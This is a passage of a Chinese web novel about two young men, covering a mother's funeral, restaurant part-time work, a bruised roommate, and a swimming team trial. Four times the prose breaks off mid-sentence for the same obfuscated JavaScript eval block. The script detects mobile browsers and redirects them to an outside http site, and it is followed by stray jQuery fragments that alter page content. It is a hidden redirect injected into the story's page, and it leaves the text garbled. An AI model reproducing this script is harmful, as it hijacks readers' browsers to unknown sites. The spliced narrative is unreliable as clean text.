他比祁峰高了一个头还有多的,他双手环着胸,低着头居高临下地说:“叔,我之所以尊称您一声叔,只为你和言哥仅存的那点血缘关系。不知道您还记不记得,祁言刚搬来我们院就被那些小孩儿嘲笑他没有爸爸,八岁小孩孤立无援的时候,您在哪呢?他从小到大的愿望就是希望您能和他们团聚,能拥有一个完整的家。别人家最普通的一件事,却成了他求而不得的愿望。您亲手放弃了这个家,放弃了他,现在这是闹的哪出啊?这女的她谁啊?” “陈姨那么优秀的一个女人,为了您为了这个家,如今都要变成一捧灰了,您带着这个女的过来,怎么说?是想故意搅得陈姨无法入土为安吗?” 左屹字字诛心,咄咄逼人,根本不给祁峰反驳的机会。 “连我一个外人都相信陈姨为人坦荡,干不来那些不上台面的事,您和她十几年夫妻却只听小人吹的枕边风。您今天在这里提起孩子的事,是几个意思?这件事的真相不难弄清楚,您开个金口问问这位破坏别人家庭的‘阿姨’,为了上位耍了些什么手段就行,不要怪在无辜的人头上。但是不管怎么说,”左屹鄙夷地瞥了眼年轻女人,“她是赢了,可是您输了呀,您输了一个美满的家庭和一个如此优秀的儿子。” “所以祁叔,请您最后为自己留点体面,以后也别找祁言,他不再需要你了,赶人的话我不想说太难听,你们走吧。” 左屹不客气地直接下达了逐客令,被揭开虚伪面具的祁峰一时恼怒,推开身边的女人,“你个不识好歹的东西,老子也是你能教训的?”祁峰上前揪住左屹的衣领,扬起拳头就要砸下来。 左屹早就做好要挨这一拳头的准备,只要祁言以后的日子能平静下来,挨多少拳都无所谓。 最好祁峰能把他打死,不然就算他只剩下半口气也要为祁言讨一个公道。 可这一拳头并没有如预想那样砸到他的脸上,而是被祁言牢牢扣住。 “这是我母亲的葬礼,不是给疯狗撒野的地方,你敢动他,我绝不会放过你,赶紧领着这个女人滚。”祁言的语气是从未有过的狠厉。 趁祁峰惊讶之际,祁言甩开他的拳头,又拿出一张银行卡,折断并不屑地甩他身上,像是丢了一个什么烫手的脏东西。 “这是你这些年转过来的钱,我和妈一分没动,现在全部还给你,今天叫你来是想当着我妈的面跟你做个了断,以后我们桥归桥路归路,再不相干。” “小言……”祁峰感到不可置信,亲儿子要跟他老子一刀两断,这怎么可能! “滚。”祁言说。 “老祁,我们快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165023|165086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走吧,这里不欢迎我们,别自讨没趣了。”那年轻女人拉着祁峰离开了。 一场闹剧过后,终是还了礼堂一个清净。 陈馨下葬立碑时,天空下起了小雨,好似天都在为她的离世而哭泣。 葬礼结束,丁文笑坚持要陪他们回公寓,这些天她忙前忙后的没有好好休息过,再过一天就要开学了,左屹便叫丁文笑回学校好好休息去了。 回到公寓后,左屹强行喂祁言喝了点白粥,然后扶他到床上好好睡了一觉,没过一会自己也累得睡着了。 左屹醒来时,天色已经完全黑了,手下意识往旁边探去,空空如也。 他惊得瞬间醒神,下了床往客厅找去。 客厅没有开灯,但伴着一丝月光,他看到祁言坐在落地窗前,肩膀在轻微地抖动。 左屹默默地走过去,在他身边坐下。 “我没家了,这次是真的没家了。”祁言嗓音嘶哑地不行。 左屹没有侧头去看他狼狈的样子,只是坐直了身子,将祁言的头轻轻掰下靠上了自己的右肩。 “你还有我。” 以后我做你的家人,有家人就会有家。 左屹心疼不已,他多想现在就给祁言一个家,一个永恒的、温暖的、属于他们的家。 可是他怎么能趁人之危呢? 在祁言最最心痛迷茫的时候抛出他需要的橄榄枝,万一是被悲伤的情绪左右而做出了错误的选择,清醒后只会更痛苦。 小时候总听大人讲,男孩成长为男人只需要一瞬间,左屹好像懂得了这句话的意思。 爱是自私的,也是无私的,可以占有,也可以退居幕后,只要爱的那个人好,无所谓有没有一个结果。 “言哥,过年和我回江城吧,月亮湾小院永远是你的家。” 祁言沉默了半晌,最后终于从鼻腔里淡淡发出了一声,“嗯。” 没开灯的客厅,阳台落地窗前,两位少年沐浴在月光下并肩而坐,一整晚无人再说话。 天亮以后,左屹去买了早餐回来,因为放心不下祁言的状态,所以今天也没打算去训练。 昨夜祁言发泄了很久,是他从来没见过的样子,看得他的心揪得仿佛一把锋利的刀来回在心尖上划。 愣神之际,祁言穿戴整齐从房间出来,除了眼睛略微有点肿以外,整体看上去还算精神。 “你要出门呀?”左屹问。 祁言看饭桌上的包子和豆浆,愣了愣回答:“放假好几天没去餐厅,经理发了脾气,今天不能不去了。” 左屹知道祁言没有拮据到非打餐厅这个工不可,以前上初高中的时候,陈姨在家里炒股能赚不老少,所以祁言他们家也根本不需要祁峰公务员那点工资养家糊口。 他还记得以前放假,不集训的时间最喜欢赖在祁言家里,那时也能看到祁言跟着陈姨学习炒股。 左屹了解祁言之所以这么急着回餐厅去,不过是想让自己的生活重新充实起来,以免沉浸在这种睹物思人的环境里一味地消沉。 但他就是没法放任祁言一个人出门。 “那个,你们餐厅还缺人吗?” 22. 餐厅打工 “你要干什么?”祁言瞥了他一眼,心里已经猜到了他的小九九。 左屹漫不经心地拿了一个肉包子咬了一口,边嚼边说:“跟你一起去打工呀。” “别闹,你每天都要训练,哪有时间打工。” “哎呀,怎么没有时间了,我白天努力训练,晚上很闲啊。”左屹嘴里包着大半个包子,脸颊鼓得像只藏了食的小仓鼠,他拉着祁言的衣角来回摇晃,"我跟你一样做兼职就行,你一周去几次,我就去几次,未来的泳坛新星也得沾点烟火气不是?” 祁言架不住他这个样子,无奈地笑了笑,抽了张纸巾替他擦了嘴边的油渍,“我一会到餐厅问问经理再告诉你,要是不缺人你就打消这个念头。” “那不行,我得防着你耍小手段故意不让我去,怎么着也要亲自去一趟,”左屹飞快跑去房间拿上挎包,“再说了,凭小爷的气质和长相就是一个行走的活招牌,我就不信你们经理不收我。” “就你机灵。” “快走快走,早餐路上吃。”左屹提上包子和豆浆,风风火火推着祁言出了门。 餐厅十点开门营业,现在早高峰过去要一个多小时,时间正好。 他们刚走到公交站,左屹的手机响了。 祁言的角度刚好能瞥见是梁一打来的电话,他避开目光,拉着黑色书包带子的手不禁用力了几分。 “早上好,梁一师兄。”左屹一如既往的礼貌问好。 梁一爽朗的声音透出手机,“嗨,小师弟,你已经翘掉三天的训练了哦~” “额…也不算翘吧,我跟黄教练请假了的。”左屹心虚地瞅了眼祁言,“师兄找我什么事吗?” “也没事,就是打听你今天来训练不,听老黄说下周三校队招新考核,准备好了吗?”梁一的话无疑都传到了祁言的耳朵里。 左屹明显底气不太足的样子,“准,准备好了,今天我还有事,明天会来训练的。” “行,老黄让我转达一句,别忘了你答应过的节后考核。” “没忘。” “小师弟,期待明天和你见面哦~” “……” 这通电话接得左屹心里七上八下,他并不想让祁言担心他考核的事,也不知道他有没有听到什么。 他一抬头发现车站四周只剩他和祁言两个人了,他心一惊脱口而出:“我操,车站怎么就我俩了?” 祁言有点无语。 “你和师兄讲电话太投入,公交车走好几辆了。”祁言刻意咬重了“师兄”两个字。 左屹尴尬地扣了扣后脑勺解释:“那个,梁一师兄人挺好的,就是有点自来熟,话多,呵呵。” “嗯。” 祁言心道,刚走一个郭敬敬,又来了个世界冠军梁一,这小孩太招人了。 两人好不容易等到公交车来,车上挤得无处下脚,左屹刚上车就愣住了,他很少挤公交,从小到大都是老爸做他的专职司机送到集训或是参加比赛的地方。 司机车门关不上,不耐烦地朝他吼道:“小帅哥,往后面走啊,搁这发哪门子愣啊!” 左屹蹙着眉想回怼,已经往深处走的祁言又转头回来牵上左屹的手腕,带着他车厢里面走去,顺便跟司机大哥说了声抱歉。 祁言一直带着左屹找到一处还算好落脚的地方将他圈在自己身前说:“扶好,车不稳。” 热气洒在耳后,弄得左屹鸡皮疙瘩都起来了,他抿着唇从鼻腔里发出一声:“嗯。” 这辆公交车确实不稳,司机大哥一会一个急刹,两人后背贴着前胸的要不是左屹底子好底盘够稳,这会已经拽着祁言摔了八百个跟头了。 公交车上的时间是难熬的,祁言从上车开始气压就很低,也没和他说过话。正觉得烦躁时,耳后传来只有两人能听到的声音。 “小屹,这些天谢谢你陪着我,今晚回学校住吧,该专心训练了。”祁言的语气太温柔了,温柔到左屹都不觉得这是要赶他走了。 “我住你家也不影响上课和训练啊。” “已经影响了不是吗?” “……没有。”左屹嘴硬。 “刚刚我听见了,校队招新考核,”祁言浅叹了口气,“因为我家的事你根本没时间准备。 左屹“啧”了一声,侧头小声驳道:“你说什么呀,你的事就是我的事分哪门子你家我家,而且不需要准备什么,我的成绩很稳定。” “听话。” “我…” 祁言已经决定了就不给他辩驳的机会,直接抛出难题二选一。 “打工和继续住我家你只能选一个。” “……” 左屹生气地转过身,面对着祁言问道:“我想多陪你几天也不行吗,就几天!” 两人身高相当,脸与脸之间的距离不足一拳,身边已经乘客投来异样的眼光,但他们谁也不在乎。 “小屹,我知道你是因为担心我,但你的事情更重要。我是成年人,你应该相信我能迈过这道坎。” 左屹想了想,这阵子他在关注祁言的事有点过分激进了,住一起就算了,还要粘着跟他一起打工,他感觉自己的司马昭之心快要路人皆知了,他这样子可能也会给祁言造成无形的压力,于是不再争执下去,“好吧,那我选打工。”说完又转了过去,失落地往向车窗外。 祁言不着痕迹地揉了揉左屹的发,凑到他耳边说:“乖。” 到餐厅之后,祁言简单和经理说了一下左屹的情况,经理和左屹做了一个简单的面试便直接要求他试岗了。 祁言已经换好了黑衬衣,准备去检查一下客区的餐具摆放,左屹拿着经理给的一套全白工作服凑了过来。 “为什么你的工作服是黑的,我是白的?”左屹拉开衣服仔细打量,“没你的好看呢。” 也不太适合站前厅…… 祁言忍着笑,带左屹来到后厨,指着水池对他说:“你的工作岗位在这里。” “……” “什么啊!!小爷好歹玉树临风,气宇轩昂,我往那一站就是兵的气质,要我在后厨刷盘子岂不是战场上派将军去打一个小兵?”左屹严肃地叉起腰,“祁言同志,你不会是故意让经理这么安排的吧?” “我也是从后厨出来的,餐厅规定试岗从后厨干起,快去换衣服,上岗时间快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165024|165086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了。” 被祁言催促,左屹不情不愿地走去更衣室,嘴巴翘得老高。 本来想着打工是能多一点时间和祁言待在一起,他倒茶来我端盘,帮他分担工作之余还能逗他开心缓解缓解情绪。 结果给整后厨做洗碗工去了。 不过看祁言今天的状态似乎好了很多,左屹觉得自己选择来打工是明智的。 洗盘子而已又不是扫厕所,有啥不能干的。 一看这餐厅老板就是个讲究人,更衣室的衣柜是单人单柜,安排得整齐有序,并不是左屹想象中的脏乱差。 他找了里面一间挂着钥匙的空衣柜开始脱衣服,门口又走进来一名穿着格子衬衣的男生,由于被柜门挡了一半,左屹看不见男生的全貌,他也没在意,想着赶紧换完衣服出去。 格子衬衣男生恰好选了他旁边的一个空柜子开始换衣服,他抖了两下工作服,也是白色的。 左屹心里嘀咕:“也是跟我一样干后厨的。” 男生脱掉格子衬衣,露出了苍白纤细的胳膊,左屹随意瞟了一眼,不知是不是他眼花了,好像看见男生的右胳膊上布着一条条吓人的青紫色伤痕。 看起来像是被抽打过的痕迹。 左屹想再仔细看一眼,男生已经换好了上衣,等他加紧速度想一探究竟时,对方已经出去了。 左屹总觉得这个人的身形有些眼熟,像某个人但又不确定。 出更衣室后,祁言在门外等着,左屹竟没发现,直愣愣地去找刚刚那个男生,从祁言面前越过时被他一把抓住了手腕。 左屹的眼睛还直勾勾地在餐厅里乱看,“言哥,你有没有看到在我前面出去的那个男生去哪了?” “怎么?”祁言挑眉,语气冷淡。 “看背影有点眼熟,想认识一下。” 祁言二话不说拉着他往后厨去。 梁一的事还没过去,才过几个小时这小子眼里又看别人了,太不让人省心。 “你要找的人在这。”祁言说完就离开去前厅工作了。 左屹一看到男生侧脸就暗自感叹自己的直觉相当准,他叫了声:“冯桑。” 男生听到有人叫自己像是吓得不清,身体明显抖了一下。 左屹以为是自己唐突,连忙上前去解释:“我,左屹。刚更衣室看到有个人很像你,没想到真是。” 冯桑这才敢抬头去看左屹,他神色躲闪地推了推鼻梁上的眼镜,声如细蚊地问:“你怎么在这里?” 左屹指了指自己和他身上一样的白色工作服,“和你一样,来打工啊。” 冯桑木讷地点了点头说:“你也需要打工啊。” 他记得左屹家庭条件应该挺好的才对,宿舍里摆的鞋都是他在店里没见过的款式,只有一双他勉强认识,是经典限量款。 虽然没见左屹在宿舍端过富二代的架子,但应该不需要勤工俭学吧。 左屹不好意思地笑笑,“害,靠自己赚点生活费嘛,多好的事儿啊。” 冯桑看见经理从外面走进来了,忙把手里的白布和酒杯塞到左屹里,“你擦杯子吧。”自己则是去脏碗池里刷起盘子。 23. 打工日常 “嗯,不错,你们俩就保持这样分工合作,挺好。”经理过来见两个人已经开始干活了,欣慰地夸了几句就走了。 中午用餐高峰来临,除了有个主管过来教他擦杯子不留痕的手法以外,后厨火房忙得跟打仗似的,他和冯桑像机器一样不停地重复着一个动作,祁言也没来后厨看他一眼。 一直到高峰过去,左屹累到腰都直不起来,像刚从撒哈拉沙漠回来的受难者似的,口干舌燥,肚子也饿得呱呱叫。 厨师给大家炒了几个家常菜,左屹拉着祁言和冯桑三人坐一个小桌吃饭。 祁言拿出提前为左屹准备好的水蓝色的哆啦A梦饭盒,盛了满满一碗饭递过去。 左屹眉开眼笑道:“哆啦A梦!!这是你特地给我准备的?” “嗯。” “当我还是小孩呢?”左屹将饭盒拿到自己面前,左看看右看看,眼里都发着光。 祁言小声问:“你不是吗?” 左屹最喜欢哆啦A梦,小时候书包、T恤、袜子都得带点这个元素,男孩长大了要面子就不再用带哆啦A梦图案的东西,他觉得幼稚,但会用水蓝色的物品来代替这个喜好。 本来为祁言一上午都没进后厨跟他说句话而赌气,这下还赌什么气呀,简直不要太开心。左屹笑逐颜开,瞬间觉得自己又行了,还能再干一下午!! 冯桑默默低头吃着碗里的米饭,眼镜很快蒙上一层雾气,左屹看见了递了张纸巾给他,“吃饭就把眼镜拿下来呗。” “谢谢。”冯桑接过纸取下眼镜,擦了雾气。 左屹很少见冯桑取下黑框眼镜的模样,其实他长得挺清秀的,就是胆子有点小,而且刚刚冯桑接纸巾的时候,左屹又看见了他手臂皮肤上裸露出的一抹青痕。 左屹脸上藏不住事,盯着新同事看的小表情全被祁言收进眼底。 “吃饭。”祁言夹了块小炒肉到左屹碗里,提醒道。 左屹心不在焉地往嘴里塞饭,他回想刚开学时冯桑的一些行为就挺奇怪的,不合群就算了,成天神龙见首不见尾,跟宿舍里的谁都保持距离,拉他进宿舍群到现在一句话没在群里说过。 要不是打工遇见,都快忘记宿舍还有这么一个人。再者说,他手臂上伤痕累累的,难不成是跟人打架了? 左屹笃定他一定有事!! 吃完饭休息会,又继续开始擦酒杯。 冯桑出去接了个电话回来就变得有些不对劲,经理来后厨巡查,正巧听见“哐当”一声。 他快步走到冯桑面前踢了脚地上的碎片,气不打一处来,“哎哟,我的哥哥嘞,您这是洗碗还是砸碗呐?” “对不起经理,我不小心手滑了,盘子的钱从我工资里扣,您别开除我。”冯桑像一只受了惊的小鸟,不停向经理鞠躬道歉。 经理也不好再说什么重话,挥了挥手,“行了行了,把地上扫干净就去前厅帮忙,别洗这些了。” 左屹寻思着下班得找冯桑聊聊,毕竟同窗一场,他要真有什么困难自己能帮就帮一下,举手之劳的事。 结果等晚班同事来交接完,他去前厅找祁言,又看见冯桑因为上错菜和客人道歉。 道完歉后,经理将冯桑拉到一边批评,“小冯,你今天怎么回事,这一天钱还没赚进口袋,尽赔出去了,你是来我这做慈善的啊?” “对不起,经理,请你再给我一次机会。”冯桑眼睛都急红了。 左屹顺路去前台打了个单子递给经理,“经理,那道菜客人没动,我正好饿了打个包带回学校当晚饭了,单我刚已经买过了啊。” 经理也不是个为难员工的人,看单子上面菜钱确实已经付过,只是语重心长地提醒了冯桑一句:“明天别再冒冒失失的了。” 祁言全程默不作声地旁观,心里却觉得左屹今天对这个新同事太过关注了。 “走不走?”祁言问道。 左屹拍了拍他的肩膀,“再等我一会,言哥。” “冯桑,我等你换好衣服一起回学校?”左屹问。 冯桑低着头,一副很沮丧的模样,“我一会还要去便利店打工,谢谢你,左屹,钱我会尽快还给你的。” “没事儿,我不是帮你解围啊,只是正好我饿急了,这菜现成的正好!钱就不用你给了,反正一会是进我肚子里。”左屹怕祁言等久了,朝他挥了挥手,“走了啊,宿舍见。” 祁言面无表情地在餐厅外环着胸等着,左屹一推门便迎上他那张冷到发黑的冰山脸,顿时意识到自己本是因为他来打工的,但一天的关注点全在别人身上,压根没顾上祁言的状态好不好。 “言哥,一起去吃点东西再回家呗。”左屹说。 祁言扯了扯嘴角,瞟了一眼他手里的打包袋,抬脚就走,“你的晚饭不是已经打包好了。” 左屹追了上去,“这可以当夜宵啊,我想跟你一起吃晚饭。” “你对冯桑挺上心。”祁言转过话题。 左屹倒吸一口凉气,心道完了,之前郭敬敬那事,在祁言心里应该认定自己不直,今天这一出该不会以为自己看上冯桑了吧!!? 他想了想,该不该告诉祁言他更衣室看到的那事,毕竟事关人家的隐私自己也没立场到处宣扬,但是不说,他和祁言好不容易建立回来的竹马情又要出现嫌隙!! “没有的事,冯桑是我大学舍友,碰到了就帮帮忙而已。”左屹解释道。 祁言意味不明地浅笑了一下,“哦,挺巧又是舍友。” “不是你想的那种,他不是郭敬敬那个样的……” “我想的哪种?”祁言反问。 左屹恨不得咬断自己的舌头,他从小练就的嘴皮子功夫,遇佛杀佛,遇鬼杀鬼,偏偏面对祁言好使不了一点。 算了,豁出去了!! 和祁言相比,做人的原则也可以适当宽泛些,反正祁言会替他保守秘密的。 “是这样,今天更衣室换衣服我看到他手臂上全是淤青……”左屹仔仔细细和祁言解释了来龙去脉,不知不觉间两个人都上了回公寓的公交车。 祁言反应过来问他:“你不是回学校?” “晚点回呗,到家你给我做点好吃的,吃饱了就回。”左屹将他的无赖耍得淋漓尽致。 祁言提醒:“嗯,冯桑的事你别再冲动去出头,今天就算了,下次有什么事你得先告诉我,懂吗?” “懂懂懂!” 终于哄好了,左屹暗舒一口气。 家里,左屹看着祁言在厨房忙碌的背影,想到要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165025|165086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回学校住心里又泛起一股说不清的难过情绪。 习惯真的是一件很可怕的事,科学理论说21天重复做一件事情,就能养成一个新习惯,可习惯祁言完全霸占自己的生活好像只花了不到24小时。 现在又得回到宿舍的集体生活里,夜晚翻身感受不到那股温暖源,不知得多久习惯。 得到过的就再难割舍,该怎么办呢? 左屹坐在沙发上不经意地唉声叹气,惹得祁言在厨房里都能听到,他回头见左屹呆呆的样子,就知道他又沉浸在自己的世界里胡思乱想了。 “吃饭了。” 祁言简单炒了两个菜,又将餐厅打包的菜加热。 两人三菜。 吃到最后不多不少刚刚好。 左屹照常负责洗碗收拾厨房,这样的分配好像已经成为他们之间无形的协议,遵守得顺畅且自然。 临走前,左屹再三观察祁言的状态,确定没有问题才放心离开。 假期最后一天,学生返校,夜晚的京体热闹非常,校园里全是拖着行李箱赶在最后一刻回校的同学。 左屹一进宿舍门,就猛地被一个庞然大物包裹住,吓得他骂娘。 “我操,兄弟,苦了你们了!!”李子豪大声哭嚎。 左屹嫌弃地将他推开,又向后退了几米问:“你发什么羊癫疯?” “我听说了,祁言妈……”李子豪说到一半,嘴被左屹狠狠捂住。 左屹看到郭敬敬也在宿舍里,他语言中伤过祁言好几次,左屹不愿意让郭敬敬听到太多有关祁言不好的事。 “出去说。”左屹小声说。 李子豪和左屹一起来到楼下散步聊了会近况,得知他和关关姐感情很好,两人在仙本那待到今天中午才回国,也是回来之后才知道祁言母亲去世的消息。 李子豪:“你不知道,关关知道这个消息的时候当时就哭了,一个劲儿怪她爸没有第一时间通知我们回来。” “没事儿,我们也没有通知自己的父母过来,好在一切都很顺利。”左屹感慨。 “嗯,以后祁言也是我兄弟,有任何事吱一声,我李子豪必定两肋插刀。”李子豪的豪言壮语令左屹动容。 从一开始的误会再到现在,明明只过了一个月,却感觉已经发生了很多事。 夜晚,左屹还是担心祁言一个人在家,于是给他发了消息过去。 [Zorro:睡了?] 祁言很快回了消息。 [1:没。] [Zorro:好巧啊,我也没睡呢。] [1:为什么不睡?] [Zorro:失眠。] [Zorro:准确来说,我这个症状叫认床!] 左屹心道,其实认的是床上睡觉的人。 [Zorro:小猪泪汪汪.jpg] [1:周末放假回来睡吧。] [Zorro:小猪开心打滚.jpg] [Zorro:你要是睡不着,就给我发消息,我陪你聊天啊。] [1:好。] 左屹想了想,又追了两句。 [Zorro:打电话也行。] [Zorro:视频通话也可以。] 24. 游泳考核 [1:发来视频通话邀请] 左屹一个兴奋,手心打滑手机砸到下巴上,顿时痛得眼泪都出来了。 宿舍已经熄灯了,为了不吵到舍友,左屹偷偷摸摸下了铺,随意汲着拖鞋就出门了。楼梯间有感应灯,他也不管脏不脏一屁股坐到楼梯上,一通忙活下来祁言视频邀请早挂断了。 他又顺了顺头发才回拨过去,那边很快就接通了。 左屹:“言哥。” 视频里的左屹的眼睛有点红,下巴也有些红肿,身后露出来的背景还是泛着黄光的破旧楼梯间,看上去可怜兮兮的。 祁言:“在哪?” 左屹瘪了瘪嘴,“宿舍熄灯了,担心你看不见我就来楼道这边蹭点光。” 祁言:“外面起风了,有点凉,别感冒了。” 左屹拍了拍胸脯,“不会,你看我身强体壮,八块腹肌,没那么矫情。” 祁言那边镜头偏向了一边,漏出了房间的台灯,还发出了一丝轻微的笑声。 “你失眠了?”左屹问道。 祁言点头,“有点。” “就说今天我应该留下的,睡不着起码有我陪你也不会太无聊啊。” “不无聊,你现在也在陪我。” 祁言的温柔的声音化成了一条被暖阳晒过的小溪,流向左屹的心里,夜晚风再凉,吹到左屹身上也是暖洋洋的。 半晌,左屹缓缓说道:“言哥,要是心里难过就直接告诉我,再难熬我……”他停顿了一下,“我和笑笑都会陪着你的。” “谢谢你,小屹。” 左屹一时语快,“这有什么好谢的,咱们是兄弟嘛。” 祁言犹豫了一会,问道:“兄弟?” “……” 左屹一个愣怔,突然想到他们不久前才跟出租车司机强调过他俩不是兄弟,虽然此兄弟非彼兄弟,但总有一种打了祁言脸的意思。 他将手机盖在胸前,一个劲懊悔。 傻逼!不会聊天别硬聊啊!提什么兄弟!谁要跟他做兄弟啊啊啊啊! 左屹哭丧着脸,脑子已经闪过一百种惩罚自己的方法了。 他将手机从胸口移开,又对准自己棱角分明的下颌线,解释道:“那个,我的意思是按我俩的关系,不应该总是把谢谢挂在嘴边,太生分了。” “我们是什么关系?”祁言问。 感应灯突然灭了,整条黑暗的楼道安静得出奇,微弱的蝉鸣声也统统消失不见。 视频那边还能看见暖灯下祁言侧躺露出来的半张帅气的脸,左屹黑漆漆的这边却只能听见自己滚烫躁动的心脏在胸腔里咚咚作响,差一点就要蹦出来了。 “我们…我们是…”他支支吾吾半天,不知道怎么回答。 祁言抬了抬眼皮,内双变得更加明显深沉了,“我有点困了,小屹。” “啊,好,那你先睡觉吧,晚安。” 左屹暗舒一口气,差一点他想一不做二不休地说出,他们是暗恋与被暗恋的关系。 “晚安,好梦。” 视频挂断后,祁言从床上起了身,走去客厅倒了杯水静静心绪,刚刚是他为数不多的冲动,他实在不该提出那样的问题为难小孩。 喝完水,祁言来到客卧,书桌上简易供着陈馨的黑白照片,他轻轻抚了抚相框的黑边,像帮母亲拂开刘海那样温柔。 “妈,除了你,没人知道我喜欢小屹,你说万一哪天我藏不住了,他会不会比小时候还要讨厌我。” 隔天早上,左屹怀着一颗必死的心来到训练馆,他知道他完了,等会见到黄教练一准会被骂死。 谁知黄教练不仅没有骂他,甚至连一个多余的眼神都没给他。 梁一走了过来,搭上他的肩膀,“小师弟,舍得来了?” 左屹尴尬道:“梁一师兄,你还没走啊。” “看你这话说的,难道是因为我在这才翘掉训练的?”梁一松开搭着肩的手臂,脸沉下来问。 左屹赶紧摇头否认,“不是,我是真家里有事儿,我以为你只是假期来集训,别误会。” 梁一被他逗得哈哈大笑,“瞧你紧张的,我逗你呢。” 呵呵。 左屹皮笑肉不笑,心道,一点也不好笑。 左屹去更衣室换好训练服出来便看见梁一和黄教练争论得面红耳赤,走近一听竟发现是为了他争起来了。 黄教练觉得左屹顽劣,太不听话说什么不同意左屹再参加校队考核,梁一则是认为黄教练太死板,一点都不通情达理。 “运动员也是人,家里有急事请假也很正常,您该骂就骂,该罚就罚,不让他参加校队考核算怎么个事儿?”梁一说道。 黄教练也提高了音量,“左屹是我学生,跟你个借场地训练的有什么关系?” 梁一不甘心,继续说道:“老黄,都这么些年了,你这死心眼的毛病不改,还不允许我说句公道话了?他左屹可是你亲认的天赋选手,当年您带我的时候,我就规矩了?翘训练被您骂了多少次,现在不照样为国出征。” “你!”黄教练被噎得哑口无言。 周围已经有很多训练生往这边看了,左屹怕他们再吵下去恐怕要上校内新闻了,赶紧过去劝道:“那个,你们吵累了吧,要不休息会儿?” 梁一和黄教练一起看过来,眼神各有各的意味。 梁一一把将他拉到身前,横在他和黄教练两人的中间,“正好,您徒弟就在这,要真断了他参加校队考核,您直接说。” “哼。”黄教练冷哼一声,脸垮得吓人。 “您要是不说,那就我说?”梁一看着左屹,“小师弟,给个准话,想不想进你们校泳队?” “当然想,我不仅要进校泳队,我还要参加大泳赛和世锦赛!”左屹坚定地回答。 “行,前几天没训练会不会影响今天给你测试的成绩?”梁一问道。 左屹瞬间便明白了他的意思,想求得黄教练的原谅,只能拿成绩说话,放假前他答应过黄教练节后会进行模拟考核,看来正好派上用场。 “不会影响,但是师兄你上次教了我跳发的小窍门,我申请先试试感觉再开始考核。”左屹说道。 梁一回道:“行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165026|165086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,去。” 左屹点头,走到泳池边热身,身后传来黄教练不冷不热的声音:“哼,搞得好像你梁一才是他教练似的。” 左屹知道黄教练是松动了,嘴角不自觉上扬。 做好一切准备,黄教练过来说:“第一项考核,800自由。” 左屹点了点头,深吐一口气,戴好泳镜,登上出发台。 要说他不紧张是不可能的,好几天没训练,身上的筋都没活动开,但他对自己中长距离的实力还是有些自信的。 “take your marks” 左屹做好跳发准备。 哨声一响,左屹后脚的力度强劲,完美推进钻入水中,像一只跃回海里的豚,无论是身段或是入水姿势都无可挑剔。 前十五米,左屹的海豚式打腿动力很强,破水后他稳定向前游进,他只有一个念头,那就是要把成绩下滑的三秒给争回来! 50m池的最后三个回来,左屹开始提速,到达最后一圈时听到岸上摇铃的声音,他猛然从豚化身为一头鲨,加速快到岸上的人都发出惊叹。 黄教练和梁一紧张又兴奋地看着秒表上的数字。 最后五十米左屹丝毫没有减低速度反而更加激进,像是一头水中猛兽拥有发散不完的爆发力,正在全力追捕猎物。 眨眼间,左屹触碰触碰池壁,计时暂停! 左屹在水里脱掉泳镜,仰头看着黄教练皱着眉头的表情,心里顿时凉了一大截。 他上岸后,小心翼翼地凑到黄教练面前没有勇气问成绩,抿了抿唇强颜欢笑说:“害,教练,的确是我太自大了,这次表现不好您想取消我的校队考核资格我听您的,大不了明年再进。” “走了,我去健身馆拉拉体能咯。”梁一玩味地拍了拍左屹的湿肩膀,那眼神好像在跟他说,我也帮不了你了,自求多福吧。 梁一走后,左屹再次登上出发台,准备再游一轮发泄一下,他这次确实盲目自信了些。 刚要入水,黄教练终于说道:“我还真是小看你小子了。” “教练,什么意思啊?”左屹问。 黄教练将手上的计时器递过去,“自己看。” 7分49秒55!!! “我操!!7分49秒55!!!”左屹跳下出发台,差点脚滑没站稳被黄教练扶稳,“教练你看看,是不是我眼花啊?” 左屹现在太兴奋了,这是他迄今为止最好的成绩,就算放到赛场上也是可以站上领奖台的成绩!! 